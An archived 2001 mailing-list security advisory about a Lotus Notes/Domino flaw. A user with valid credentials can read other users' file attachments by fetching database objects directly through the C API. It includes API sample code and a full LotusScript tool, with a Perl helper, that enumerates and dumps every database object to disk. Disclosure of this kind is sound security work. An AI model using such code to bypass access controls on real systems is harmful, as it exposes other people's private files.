

# [NEWS] Lotus Notes API Unauthorized Access to File Attachments

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2001-10/0021.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 10/07/01

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Subject: [NEWS] Lotus Notes API Unauthorized Access to File Attachments

Message-Id: <20011007055309.F2CF8138C4@mail.der-keiler.de>

Date: Sun, 7 Oct 2001 07:53:09 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

-----

Lotus Notes API Unauthorized Access to File Attachments

---

## SUMMARY

<<http://www.lotus.com/home.nsf/welcome/notes>> Lotus Notes is a leading integrated e-mail and e-business software for the Internet and corporate intranets. A security vulnerability in the product allows attacker that have gained access to a valid username and password on the Notes server, to access other user's attachments without knowing their username and password.

## DETAILS

Vulnerable systems:

Lotus Notes version 5.0.6 Domino server

Lotus Notes version 5.0.7 Notes client

(Should also apply to 4.x and 5.x servers)

A security vulnerability in Lotus Notes allows remote attackers with a valid username and password to the Lotus Domino server to view Notes attachments that belong to other users.

## Securiteam: [NEWS] Lotus Notes API Unauthorized Access to File

The attack is possible via the published C API. The API allows the user to create, delete, read, and modify objects in the database. If an object is accessed directly, access control information (e.g., reader, author) stored in the Note will not be available to the object. As a result, a remote user with authorized access to the Notes database can view Notes attachments by directly accessing the object.

Note that the attacker must know the Object ID of a file attachment.

Exploit code:

```
NSFDbReadObject.txt
#include <nsfobjec.h>
```

```
STATUS LNPUBLIC NSFDbReadObject(
    DBHANDLE hDB,
    DWORD ObjectID,
    DWORD Offset,
    DWORD Length,
    HANDLE far *rethBuffer);
```

Description :

Read an object from a database file into memory. This returns a handle specifying a memory area where the object has been read. Free this memory after processing it.

Use the object ID (the RRV) to identify the object to read. Get this object ID from the RRV member of an OBJECT\_DESCRIPTOR structure. The OBJECT\_DESCRIPTOR structure resides in items of type TYPE\_OBJECT appended to notes.

Domino and Notes use objects to store data that is not rendered on the screen by the Notes editor. Examples include file attachments (\$FILE fields), help indexes, and macro left-to-do lists (\$LeftToDo). Note that for file attachments, NSFNoteExtractFile is simpler to use than NSFDbReadObject.

Parameters :

Input :

hDB – Handle to the open database where the object resides

ObjectID – Object ID (the RRV) identifying the object in the database. Get this ID from the RRV member of the OBJECT\_DESCRIPTOR structure stored in items of type TYPE\_OBJECT.

Offset – Begin reading at this offset (in bytes) from the start of the object. Specify 0 to start at the beginning of the object.

Length – Number of bytes to read. Must not be zero. Use MAXDWORD to read in the number of bytes equal to the size of the object. The returned

memory buffer is never larger than 64K bytes.

Output :

(routine) – Return status from this call:

NOERROR – Successfully read object from database file to memory buffer.

ERR\_OBJECT\_CANNOT\_BE\_ZERO – Length input parameter specified zero.

ERR\_OBJECT\_TRUNCATED – Specified offset exceeds size of object, or length input parameter exceeds object size minus offset.

ERR\_XXX – Errors returned by lower level functions. Call OSLoadString to obtain a string to display to the user.

rethBuffer – Receives a handle to a memory area containing the object data read from the file.

Sample Usage :

```
STATUS LNPUBLIC ReadLeftToDoObject(
    DBHANDLE hDb,
    NOTEHANDLE hMacro,
    OBJECT_DESCRIPTOR *pObject,
    HANDLE *phLeftToDo,
    TIMEDATE *ptdLeftToDoTime,
    WORD *pwLeftToDoFlags )
{
    STATUS error;
    WORD wDataType;
    BLOCKID bidValue;
    DWORD dwValueLength;
    void *ptable;
    OBJECT_DESCRIPTOR tempObject;
    OBJECT_DESCRIPTOR *tempPtr;

    error = NSFItemInfo(hMacro, FILTER_LEFTTODO_ITEM,
        sizeof(FILTER_LEFTTODO_ITEM)-1,
        NULL, &wDataType, &bidValue, &dwValueLength);

    if ( ERR(error) == ERR_ITEM_NOT_FOUND )
    {
        return (error);
    }
    else if (error)
    {
        printf("Error: unable get '%s' from Macro.\n",
            FILTER_LEFTTODO_ITEM);
        return(error);
    }
    if (wDataType != TYPE_OBJECT)
```

## Securiteam: [NEWS] Lotus Notes API Unauthorized Access to File

```
{
    printf ("Error: item '%s' not TYPE_OBJECT.\n", FILTER_LEFTTODO_ITEM);
    return(error);
}

*pObject =
*((OBJECT_DESCRIPTOR*)(OSLockBlock(char,bidValue)+sizeof(WORD)));

tempPtr = pObject;

ODSReadMemory( &tempPtr, _OBJECT_DESCRIPTOR, &tempObject, 1 );

if (tempObject.ObjectType != OBJECT_FILTER_LEFTTODO)
{
    printf ("Error: object '%s' unknown type.\n",
        FILTER_LEFTTODO_ITEM);
    OSUnlockBlock(bidValue);
    return (ERR_RUNMACRO_BADOBJECTTYPE);
}

error = NSFDbReadObject(hDb, tempObject.RRV, 0, MAXDWORD, phLeftToDo);
OSUnlockBlock(bidValue);
if (error)
{
    printf ("Error: unable to read object '%s'.\n", FILTER_LEFTTODO_ITEM);
    return (error);
}

ptable = OSLock(void, *phLeftToDo);
*ptdLeftToDoTime = IDTableTime(ptable);
*pwLeftToDoFlags = IDTableFlags(ptable);
OSUnlock(*phLeftToDo); /* unlock handle we are done with */

return NOERROR;
}
```

DumpObjects.lss

'Obj:

Option Public

Option Declare

%INCLUDE "Isconst.lss"

%REM

This will dump internal Domino objects out to disk file for detailed analysis. If you've ever wanted to see how Domino stores file attachments, what the ACL really looks like or the inside of a view collection then this script is for you!

Alternatively, this is a great example of working with the Notes API from LotusScript. Check out that

CopyMemory routine – slick!

\*\*\*\*\*

This library was originally created by Joshua b. Jore of Imation Corporation, Aug 2000

This library may be freely distributed, modified and used only if this header is kept intact, unchanged and is distributed with the contents of the library.

Please share any fixes or enhancements and send them to [josh@greentechologist.org](mailto:josh@greentechologist.org) \*AND\* [jjore@imation.com](mailto:jjore@imation.com) so I can add it the library.

If you find this library useful, send me a mail message and let me know what you're using it for.

Thanks.

\*\*\*\*\*

%ENDREM

Const VERSION = 1.02

' This value must be at least 1  
Const LOWOBJ& = &H0001&

%REM  
I used 65535 as an arbitrary limit. You can choose higher number if you wish. Keep in mind that the number being used is an \*unsigned\* value while Notes sees a signed value.

I think that the highest value you could pick is 0xFFFF FFFF.  
I wrote these down as hex value, you can just enter normal decimal if you want.

%ENDREM  
Const HIGHOBJ& = &HFFFF&

%REM  
I located this number through trial and error on Notes 5.0.7  
This is just how big a chunk notes will move around in memory safely  
%ENDREM

Const MEM\_MAXCHUNK& = 32000 ' Domino prefers this size  
Const OBJ\_MAXCHUNK = MEM\_MAXCHUNK \* 30

%REM  
If you prefer to cap the size of the exported files then set this.  
Again, this is an unsigned value. Use zero to indicate no limit.  
%END REM  
Const MAXSIZE = 0

## Securiteam: [NEWS] Lotus Notes API Unauthorized Access to File

' The API functions return errors as non-zero values hence zero is success  
Const SUCCESS = 0

' When working with the API, handles (always Long) are NULL or empty  
' when they are equal to zero  
Const NULLHANDLE = 0

%REM  
Define the field delimiter  
%END REM  
Const FIELD\_DELIMIT = Uchr(9)

Const MSG\_WELCOME = |This script will export information on the first  
65535

objects in a Domino database. There are three important things to keep in  
mind here. #1 The export path must be a directory. A map file, perl script

and all the objects are placed into this directory. #2 This script scans  
through objects | & LOWOBJ & | to | & HIGHOBJ & |. If you need to change  
these boundaries then change the constants LOWOBJ and HIGHOBJ. I picked  
65535 as an initial default because I just wanted some basic information.

#3 When LotusScript writes the object files, it pads every byte with  
another null byte (0x00). The perl script will strip that null byte out.  
If you don't have perl (the script will still work) then either you will  
need to strip the nulls yourself or just ignore them. Perl for Windows can

be installed from <http://www.activestate.com> for free.

Download newer versions or other neat Domino stuff from  
<http://www.greentechnologist.org> (for free of course)

Const MSG\_DBPATHGET\_BODY = |Enter the path to database. To specify a | & \_  
|server, prepend <Server> followed by !!. For example,  
<Server>!!<Filepath> | & \_  
|or just <Filepath>|

Const MSG\_DBPATHGET\_TITLE = |Enter the database path|

Const MSG\_DBPATHGET\_DEFAULT = |<Server>!!<Filepath.nsf>|

Const MSG\_DIRGET\_BODY = |Enter directory to export data to|

Const MSG\_DIRGET\_TITLE = |Select directory|

Const MSG\_DIRGET\_DEFAULT = |C:\Objects\|

Const MSG\_PERLPATH\_BODY = |Enter the path to your perl interpreter (eg  
C:\perl\bin\perl.exe)|

Const MSG\_PERLPATH\_TITLE = |Path to perl binary|

Const MSG\_PERLPATH\_DEFAULT = |C:\Perl\bin\perl.exe|

%REM

This perl code will read from a list of file names and for each, remove  
every

other byte starting by keeping the very first byte. Currently it reads the  
entire file into memory, this could be improved by using a temporary file  
and just keeping a portion in memory.

## Securiteam: [NEWS] Lotus Notes API Unauthorized Access to File

```
%END REM
```

```
Const USE_PERL_TITLE = |Perl?|
```

```
Const USE_PERL_BODY = |The object files are all written with an extra null
```

(0x00) after every byte. I've included a perl script to remove the extra bytes.

If you don't want to use that script or don't have perl installed say no here.

Perl can be downloaded for free from <http://www.activestate.com>

```
Const PERL_FILE = |no_null.pl|
```

```
Const PERL_REMOVE_NULLS = |
```

```
use strict;
```

```
use warnings;
```

```
use File::stat;
```

```
use Fcntl;
```

```
for my $file_name (@ARGV) {
```

```
    my $stat = stat ($file_name);
```

```
    my $data = ";
```

```
    sysopen IN, $file_name, O_RDONLY or die "Can't open $file_name: $!";
```

```
    binmode IN;
```

```
    sysread IN, $data, $stat->size, 0;
```

```
    close IN or die "Can't close $file_name: $!";
```

```
    open OUT, ">$file_name" or die "Can't open $file_name: $!";
```

```
    for (my $offset=0;
```

```
        $offset < length $data;
```

```
        $offset += 2 ) {
```

```
            print OUT substr $data, $offset, 1;
```

```
    }
```

```
    close OUT or die "Can't close $file_name: $!";
```

```
|
```

```
'** Notes API **
```

```
' from nsfnote.h
```

```
Const NOTE_CLASS_DOCUMENT = &H0001& /* document note */
```

```
Const NOTE_CLASS_DATA = NOTE_CLASS_DOCUMENT /* old name for document note */
```

```
Const NOTE_CLASS_INFO = &H0002& /* notefile info (help-about) note */
```

```
Const NOTE_CLASS_FORM = &H0004& /* form note */
```

```
Const NOTE_CLASS_VIEW = &H0008& /* view note */
```

```
Const NOTE_CLASS_ICON = &H0010& /* icon note */
```

```
Const NOTE_CLASS_DESIGN = &H0020& /* design note collection */
```

```
Const NOTE_CLASS_ACL = &H0040& /* acl note */
```

```
Const NOTE_CLASS_HELP_INDEX = &H0080& /* Notes product help index note */
```

```
Const NOTE_CLASS_HELP = &H0100& /* designer's help note */
```

```
Const NOTE_CLASS_FILTER = &H0200& /* filter note */
```

## Securiteam: [NEWS] Lotus Notes API Unauthorized Access to File

```
Const NOTE_CLASS_FIELD = &H0400 /* field note */
Const NOTE_CLASS_REPLFORMULA = &H0800& /* replication formula */
Const NOTE_CLASS_PRIVATE = &H1000& /* Private design note, use
$PrivateDesign view to locate/classify */

Const NOTE_CLASS_DEFAULT = &H8000& /* MODIFIER – default version of each
*/

Const NOTE_CLASS_NOTIFYDELETION = NOTE_CLASS_DEFAULT /* see
SEARCH_NOTIFYDELETIONS */
Const NOTE_CLASS_ALL = &H7FFF& /* all note types */
Const NOTE_CLASS_ALLNONDATA = &H7FFE& /* all non–data notes */
Const NOTE_CLASS_NONE = &H0000& /* no notes */

/* Define symbol for those note classes that allow only one such in a
file */
Const NOTE_CLASS_SINGLE_INSTANCE = (NOTE_CLASS_DESIGN Or _
NOTE_CLASS_ACL Or _
NOTE_CLASS_INFO Or _
NOTE_CLASS_ICON Or _
NOTE_CLASS_HELP_INDEX Or _
0&)

Declare Function NSFDbOpen Lib "nnotes" ( _
Byval PathName As Lmbcs String, _
rethDB As Long _
) As Integer

Declare Function NSFDbClose Lib "nnotes" ( _
Byval hDB As Long _
) As Integer

Declare Function NSFDbSessionClose Lib "nnotes" ( _
Byval hDB As Long _
) As Integer

Declare Function NSFDbGetObjectSize Lib "nnotes" ( _
Byval hDB As Long, _
Byval ObjectID As Long, _
Byval ObjectType As Long, _
retSize As Long, _
retClass As Integer, _
retPrivileges As Integer _
) As Integer

Declare Function NSFDbReadObject Lib "nnotes" ( _
Byval hDB As Long, _
Byval ObjectID As Long, _
Byval Offset As Long, _
Byval Length As Long, _
rethBuffer As Long _
```

```
) As Integer
```

```
Declare Function OSLoadString Lib "nnotes" Alias "OSLoadString" ( _  
Byval hModule As Long, _  
Byval StringCode As Integer, _  
Byval retBuffer As Lmbcs String, _  
Byval BufferLength As Integer _  
) As Integer
```

```
Declare Function OSMemFree Lib "nnotes" Alias "OSMemFree" ( _  
Byval hObject As Long _  
) As Integer
```

```
Declare Function OSLockObject Lib "nnotes" Alias "OSLockObject" ( _  
Byval hObject As Long _  
) As Long
```

```
Declare Function OSUnlockObject Lib "nnotes" Alias "OSUnlockObject" ( _  
Byval hObject As Long _  
) As Integer
```

```
' ** Windows specific call **
```

```
' I'm sure that there is something comparable for Mac and Linux
```

```
' but I don't have those in front of me right now
```

```
Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" ( _  
Byval pDest As String, _  
Byval pSource As Long, _  
Byval dwLength As Long _  
)
```

```
Sub Initialize
```

```
' These variables are used by the API
```

```
Dim Result As Integer
```

```
Dim hDB As Long
```

```
Dim ObjectID As Long
```

```
Dim ObjectType As Long
```

```
Dim retSize As Long
```

```
Dim retClass As Integer
```

```
Dim retPrivileges As Integer
```

```
Dim rethBuffer As Long
```

```
Dim hLock As Long
```

```
Dim PerlFileH As Long
```

```
Dim BinFileH As Long
```

```
Dim MapFileH As Long
```

```
Dim UsePerl As Integer
```

```
Dim PerlPath As String
```

```
Dim DbPath As String
```

```
Dim FilePath As String
```

```
Dim objChunk As Long
```

## Securiteam: [NEWS] Lotus Notes API Unauthorized Access to File

```
Dim memChunk As Long
Dim objOffset As Long
Dim memOffset As Long
Dim ObjStr As String
```

```
Messagebox MSG_WELCOME
```

```
DbPath = Inputbox(MSG_DBPATHGET_BODY, _
MSG_DBPATHGET_TITLE, _
MSG_DBPATHGET_DEFAULT)
```

```
FilePath = Inputbox (MSG_DIRGET_BODY, _
MSG_DIRGET_TITLE, _
MSG_DIRGET_DEFAULT)
```

```
UsePerl = (IDYES = Messagebox (USE_PERL_BODY, _
MB_YESNO + MB_ICONQUESTION + MB_DEFBUTTON1, _
USE_PERL_TITLE))
```

```
If UsePerl Then
    PerlPath = Inputbox (MSG_PERLPATH_BODY, _
    MSG_PERLPATH_TITLE, _
    MSG_PERLPATH_DEFAULT)
End If
```

```
' Fix the path if possible
If Len(FilePath) > 0 And Not Right(FilePath,1) = "\" Then
    FilePath = FilePath & "\"
End If
```

```
' Reset all open file handles
Reset
```

```
%REM
Get a handle to the database
%ENDREM
Result = NSFDbOpen(DbPath, hDB)
If hDB = NULLHANDLE Then
    Messagebox "The database at " & _
    DbPath & _
    " was not opened"
End
End If
```

```
%REM
Write the null removing perl script
out to the directory. This will not
be used if perl is not installed
on the machine. Just ignore it in that
```

case.

%ENDREM

If UsePerl Then

PerlFileH = Freefile

Open Filepath & PERL\_FILE For Output As PerlFileH

Print #PerlFileH, PERL\_REMOVE\_NULLS

Close PerlFileH

End If

%REM

Create a map file. This is a tab delimited file describing the attributes of each object. If the object size is zero, then it will be noted in the log but no object file will be saved to disk.

%ENDREM

MapFileH = Freefile

Open Filepath & "Map.txt" For Output As MapFileH

Print #MapFileH, "ObjectID Size Class Privileges"

ObjectID = LOWOBJ

Do

' Get the object flags

Result = NSFDbGetObjectSize \_

(hDB, \_

ObjectID, \_

&HFFFFFFF&, \_

retSize, \_

retClass, \_

retPrivileges)

If Result <> SUCCESS Then

If Result <> 551 Then ' Non-existant object

Print #MapFileH, Hex(ObjectID) & FIELD\_DELIMIT & \_

"Error # " & Result & " " & GetCAPIErrorMsg(Result)

End If

Goto next\_Obj

End If

' Save the information to the log if nessessary

If retSize <> 0 Or \_

retClass <> 0 Or \_

retPrivileges <> 0 \_

Then

' Print to the log

Print #MapFileH, Hex(ObjectID) & FIELD\_DELIMIT & \_

Hex(retSize) & FIELD\_DELIMIT & \_

Hex(retClass) & FIELD\_DELIMIT & \_

Hex(retPrivileges)

' Print to the console so you know

' something is still going on

```
Print ObjectID & FIELD_DELIMIT & _  
retSize & FIELD_DELIMIT & _  
Hex(retClass) & FIELD_DELIMIT & _  
Hex(retPrivileges)  
End If
```

```
%REM  
Export if there is something there. There are  
many zero byte objects, I'd rather not just create  
a gaggle of zero byte files too. Also, since retSize  
is an unsigned value the test must be for inequality  
NOT greater than zero. Unsigned value may appear as negative  
if they are very large. Since it would be a pain (but  
not impossible) to handle "negative" offsets  
I'll leave that as an exercise for you.
```

```
%END REM  
If retSize < 0 Then  
    retSize = retSize * -1  
End If  
If retSize <> 0 Then
```

```
%REM  
Open the output file and write it in MAXCHUNK  
byte chunks Domino appears to prefer this size chunk
```

```
%END REM  
    BinFileH = Freefile  
    Open Filepath & Hex(ObjectID) & |.obj| For _  
    Binary Access Write As BinFileH
```

```
    objOffset = 0  
    While objOffset < retSize
```

```
%REM  
Write the buffer to file MAXCHUNK bytes at a time. I had to  
use a MAXCHUNK size because notes would not write strings  
larger than 32000 to a binary file correctly. That looks like a bug.  
%ENDREM
```

```
%REM  
Shrink the chunk size if we are in the last MAXCHUNK  
bytes.
```

```
%ENDREM  
    objChunk = retSize - objOffset  
    If (retSize - objOffset) > OBJ_MAXCHUNK Then  
        objChunk = OBJ_MAXCHUNK  
    End If
```

```
%REM  
Read Chunk bytes of the object into memory. Handle is rethBuffer.  
%END REM
```

```

Result = NSFDbReadObject _
(hDB, _
ObjectID, _
objOffset, _
objChunk, _
rethBuffer)
If Not Result = SUCCESS Then
  If Result <> 551 Then ' Non-existent object
    Print #MapFileH, Hex(ObjectID) & FIELD_DELIMIT & _
      "Error # " & Result & " " & GetCAPIErrorMsg(Result)
    End If
    Goto free_Obj
  End If

%REM
Lock the object in memory. hLock is now a memory
address that can be used to access the data
%ENDREM
  hLock = OSLockObject (rethBuffer)

  memOffset = 0
  While memOffset < objChunk
%REM
The size of the mapped memory segment may be larger than
MAX_MEMCHUNK.
%END REM
    memChunk = objChunk - memOffset
    If (objChunk - memOffset) > MEM_MAXCHUNK Then
      memChunk = MEM_MAXCHUNK
    End If

' Allocate (and overwrite) ObjStr with 'X'
  ObjStr = String(memChunk, "X")

' Copy the memory into the String
  CopyMemory ObjStr, hLock, memChunk

%REM
Write the string to file. Remember that each byte of data
if followed by another null byte. The file size will be
exactly double the size of the object.
%END REM
  Put # BinFileH, ,ObjStr

  hLock = hLock + memChunk
  memOffset = memOffset + memChunk
Wend

%REM
Unlock the object and de-allocate the memory. If you
don't do this you'll cause a memory leak

```

```
%END REM
unlock_Obj:
    Call OSUnlockObject (rethBuffer)
free_Obj:
    Call OSMemFree (rethBuffer)

' Continue farther into the file
    objOffset = objOffset + objChunk
Wend
Close BinFileH

%REM
Execute the perl script on the output file
%ENDREM
    If UsePerl And Len(PerlPath) > 0 Then
        Result = Shell (PerlPath & | | & _
            FilePath & PERL_FILE & | | & _
            FilePath & Hex(ObjectID) & |.obj|)
    End If
End If

next_Obj:
    ObjectID = ObjectID + 1
Loop While ObjectID <= HIGHOBJ

Close MapFileH
Reset

' Close the database handle
Result = NSFDbClose(hDB)
If Result <> SUCCESS Then
    MessageBox "Error # " & Result & " " & GetCAPIErrorMsg(Result)
End If

    MessageBox "Done"
End Sub
Function GetCAPIErrorMsg(iStatus As Integer) As String
%REM
CAPIErrorMsg – This function takes a status code returned from a C API
call, retrieves the
corresponding error message from Notes' internal string tables, and
returns the string to the caller.

This function was originally written by Paul Ray of the view @
www.eview.com.
%END REM

Dim iLen As Integer
Dim lenBuffer As Integer
```

## Securiteam: [NEWS] Lotus Notes API Unauthorized Access to File

Dim sBuffer As String

' ---- initialize a buffer of adequate length to accept the error string

lenBuffer = 256

sBuffer = String\$(lenBuffer, 0)

' ---- get the API error message from the internal Notes/Domino string tables

iLen = OSLoadString(NULLHANDLE, iStatus, sBuffer, lenBuffer - 1)

If iLen > 0 Then

' ---- remove any trailing characters from the string and return it to the caller

GetCAPIErrorMsg = Left\$(sBuffer, Instr(1, sBuffer, Chr\$(0)) - 1)

Else

' ---- couldn't locate the error message in the string tables

GetCAPIErrorMsg = ""

End If

End Function

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:jjore@imation.com>> jjore.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[UNIX] HylaFAX Format String Vulnerabilities (faxrm, faxalter)"
  - **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)